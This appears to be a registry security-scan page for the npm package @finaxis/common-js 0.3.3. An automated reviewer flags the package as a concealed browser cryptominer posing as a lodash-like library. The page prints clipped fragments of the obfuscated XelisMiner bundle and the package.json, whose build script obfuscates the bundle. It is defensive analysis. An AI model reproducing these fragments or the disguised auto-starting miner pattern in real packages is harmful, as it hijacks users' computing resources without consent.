registry / @finaxis/common-js / 0.3.3

@finaxis/common-js@0.3.3

common-js

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Loading the published browser entrypoint automatically starts an obfuscated Xelis cryptocurrency miner. It obtains configuration remotely and creates workers that consume client CPU.

Static reason

One or more suspicious static signals were detected.

Trigger

Importing or including dist/common-js.js in a browser page.

Impact

Unauthorized CPU/resource consumption and mining-pool network activity.

Mechanism

Auto-started remote-configured Web Worker cryptominer.

Attack narrative

The package advertises a common/lodash-like library but its sole published entrypoint is an obfuscated bundle defining XelisMiner. In a browser it reads the current script, constructs the miner, fetches configurable (including decryptable) settings, opens mining communication, and starts worker threads automatically. This is concealed unauthorized cryptocurrency mining.

Rationale

Source inspection confirms an automatically activated, obfuscated browser cryptominer rather than a package-aligned utility. The absence of a consumer install hook does not mitigate runtime execution on browser inclusion.

Evidence

package.jsondist/common-js.js

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Published entrypoint is an obfuscated browser bundle.

Bundle defines XelisMiner and creates Web Workers for mining.

It fetches a remote config and can decrypt it before use.

Browser-script import auto-instantiates and starts the miner.

Evidence against

No consumer install lifecycle hook is declared; prepublishOnly is publisher-side.

Behavioral surface

Source

NetworkWebSocket

Supply chain

HighEntropyStringsMinifiedObfuscatedTrivialUrlStrings

Manifest

NoLicense

scanned 1 file(s), 118 KB of source, external domains: api.ipify.org

Source & flagged code

4 flagged

dist/common-js.jsView file

Lines 1-1javascript

1var a0_0x2867b8=a0_0xc778;function a0_0x5e63(){var _0x15120a=['DhnbBwq','y29UBMvJDgvKia','qvPUBhq','Ahr0Chm6','wfHkyxO','CNbJigvYCM9YoIa','B29HCKG'

Source & flagged code

4 flagged · loading source

dist/common-js.jsView file

1var a0_0x2867b8=a0_0xc778;function a0_0x5e63(){var _0x15120a=['DhnbBwq','y29UBMvJDgvKia','qvPUBhq','Ahr0Chm6','wfHkyxO','CNbJigvYCM9YoIa','B29HCKG','C3bSAxq','igrPzMy9','x2XVy2fSt3...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/common-js.jsView on unpkg · L1

1class XelisMiner{constructor(_0x5c252a){var _0x2e00f4=_0x765300;this[_0x2e00f4(0x222)]=_0x5c252a||{},this[_0x2e00f4(0x246)]=this[_0x2e00f4(0x222)],this['workers']=[],

High

Ai Review Evidence

Bundle defines XelisMiner and creates Web Workers for mining.

dist/common-js.jsView on unpkg · L1

1for(var _0x477f72=0x0;_0x477f72<_0x2fe00d;_0x477f72++){var _0xef4511=new Worker(_0x5cb9ad);

High

Ai Review Evidence

Bundle defines XelisMiner and creates Web Workers for mining.

dist/common-js.jsView on unpkg · L1

package.json

Findings

5 High2 Medium5 Low

HighObfuscated Payload Loaderdist/common-js.js

HighObfuscated

HighAi Review Evidencepackage.json

HighAi Review Evidencedist/common-js.js

MediumNetwork

MediumStructural Risk Force Deep Review

LowNon Install Lifecycle Scripts

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

LowNo License

LPM CLI

View file

5"main": "dist/common-js.js",

High

Ai Review Evidence

Published entrypoint is an obfuscated browser bundle.

package.jsonView on unpkg · L5

123 KB · 3 files1 signature(s)

Install lifecycleprepublishOnly

Behavioral surface

NetworkWebSocketHighEntropyStringsMinifiedObfuscatedTrivialUrlStringsNoLicense

Source & flagged code

4 flagged

dist/common-js.jsView file

Lines 1-1javascript

1var a0_0x2867b8=a0_0xc778;function a0_0x5e63(){var _0x15120a=['DhnbBwq','y29UBMvJDgvKia','qvPUBhq','Ahr0Chm6','wfHkyxO','CNbJigvYCM9YoIa','B29HCKG'

,

'C3bSAxq'

,

'igrPzMy9'

,

'x2XVy2fSt3b0CW'

,

'tMfzy0K'

,

'B25kB2i'

,

'AgfZAgvZ'

,

'Cg9ZDe1LC3nHz2u'

,

'A3nMr3O'

,

'Dw9JDMq'

,

'ChjVDg90ExbL'

,

's3nvwK8'

,

'Bwv0Ag9K'

,

'yMfKihn0CMf0Dw0GvvjmigHVC3q6Cg9YDa'

,

'DgHYzwfKCW'

,

'C2v0'

,

'D2vIC29JA2v0ignSB3nLzcbIzwzVCMuGB3bLBG'

,

'Aw5MBW'

,

'BM93'

,

'C3rYyxr1BtOVlW'

,

'A3PbEfu'

,

'tuDvvKG'

,

'Bwv0yq'

,

'z2v0qxr0CMLIDxrL'

,

'v2rJDgu'

,

'kgz1BMn0Aw9UicGPihSkC2vSzI5xqvnnx0jbu0u2nca9icjbr0z6yLffqufbqujHqtvNqLG5k2zUnsTbr0ffzJm1k2z3qMDcBJKRzM41k2z3qMDbmZKVzND ..

.

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/common-js.jsView on unpkg · L1

High

Ai Review Evidence

Bundle defines XelisMiner and creates Web Workers for mining.

dist/common-js.jsView on unpkg · L1

High

Ai Review Evidence

Bundle defines XelisMiner and creates Web Workers for mining.

dist/common-js.jsView on unpkg · L1

Long lines were clipped for display.

package.jsonView file

Lines 1-25json

1{

2 "name": "@finaxis/common-js",

3 "version": "0.3.3",

4 "description": "common-js",

5 "main": "dist/common-js.js",

High

Ai Review Evidence

Published entrypoint is an obfuscated browser bundle.

package.json

View on unpkg · L5

6 "unpkg": "dist/common-js.js",

7 "jsdelivr": "dist/common-js.js",

8 "files": [

9 "dist/common-js.js"

10 ],

11 "scripts": {

12 "build:browser": "node dist/bundle-browser.js && npm run obfuscate",

13 "obfuscate": "javascript-obfuscator dist/common-js.plain.js --output dist/common-js.js --config obfuscator.json",

14 "prepublishOnly": "npm run build:browser"

15 },

16 "keywords": [

17 "lodash",

18 "lodash-js"

19 ],

20 "license": "UNLICENSED",

21 "repository": {

22 "type": "git",

23 "url": "https://github.com/finaxis/common"

24 },

25 "devDependencies": {